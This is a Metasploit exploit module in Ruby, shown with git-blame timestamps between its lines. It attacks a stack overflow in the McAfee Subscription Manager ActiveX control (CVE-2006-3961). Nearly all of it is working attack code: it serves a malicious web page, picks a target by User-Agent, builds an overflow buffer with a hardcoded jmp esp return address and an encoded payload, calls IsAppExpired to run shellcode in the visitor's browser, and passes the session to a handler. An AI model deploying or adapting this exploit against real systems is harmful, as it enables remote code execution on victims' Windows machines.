2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-08-14 08:55:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2006-08-14 08:55:37 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2006-08-14 08:55:37 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'McAfee Subscription Manager Stack Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
|
|
|
|
Due to an unsafe use of vsprintf, it is possible to trigger a stack overflow by
|
|
|
|
passing a large string to one of the COM-exposed routines, such as IsAppExpired.
|
2006-08-14 09:00:50 +00:00
|
|
|
This vulnerability was discovered by Karl Lynn of eEye.
|
2006-08-14 08:55:37 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'skape',
|
|
|
|
],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-08-14 08:55:37 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2007-01-05 14:44:09 +00:00
|
|
|
[ 'CVE', '2006-3961'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '27698'],
|
2007-01-05 14:44:09 +00:00
|
|
|
[ 'BID', '19265'],
|
|
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],
|
2006-08-14 08:55:37 +00:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1014,
|
|
|
|
'MaxNops' => 0,
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
|
|
|
|
'EncoderOptions' =>
|
|
|
|
{
|
|
|
|
'BufferOffset' => 0x8
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0: Automatic
|
|
|
|
[
|
|
|
|
'Windows XP SP0/SP1',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' =>
|
|
|
|
[
|
|
|
|
0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
|
|
|
|
#0x773f346a # XP SP2 comctl32.dll: jmp esp
|
|
|
|
]
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
# Pick the right target
|
|
|
|
case request['User-Agent']
|
|
|
|
when /Windows NT 5.1/
|
|
|
|
ret = target['Rets'][0]
|
|
|
|
else
|
|
|
|
print_error("Unsupported target: #{request['User-Agent']}")
|
|
|
|
cli.send_response(create_response(404, 'File not found'))
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Build out our overflow buffer
|
|
|
|
buf =
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(2972, payload_badchars) +
|
2006-08-14 08:55:37 +00:00
|
|
|
[ ret ].pack('V') +
|
|
|
|
"\x60" + # pusha
|
2007-06-29 00:29:53 +00:00
|
|
|
"\x6a" + rand_char + # push byte 0x1
|
|
|
|
"\x6a" + rand_char + # push byte 0x1
|
|
|
|
"\x6a" + rand_char + # push byte 0x1
|
2006-08-14 08:55:37 +00:00
|
|
|
"\x61" + # popa
|
|
|
|
p.encoded
|
|
|
|
|
|
|
|
# Generate random variable names
|
2007-03-01 08:21:36 +00:00
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
strname = rand_text_alpha(rand(100) + 1)
|
2006-08-14 08:55:37 +00:00
|
|
|
|
|
|
|
# Build out the message
|
|
|
|
content =
|
|
|
|
"<html>" +
|
|
|
|
"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
|
|
|
|
"<script language='javascript'>\n" +
|
|
|
|
"var #{vname} = document.getElementById('#{vname}');\n" +
|
|
|
|
"var #{strname} = new String('#{buf}');\n" +
|
|
|
|
"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
|
|
|
|
"</script>" +
|
|
|
|
"</html>"
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
2006-12-10 03:26:53 +00:00
|
|
|
send_response_html(cli, content)
|
2007-04-04 04:34:17 +00:00
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
handler(cli)
|
2006-08-14 08:55:37 +00:00
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|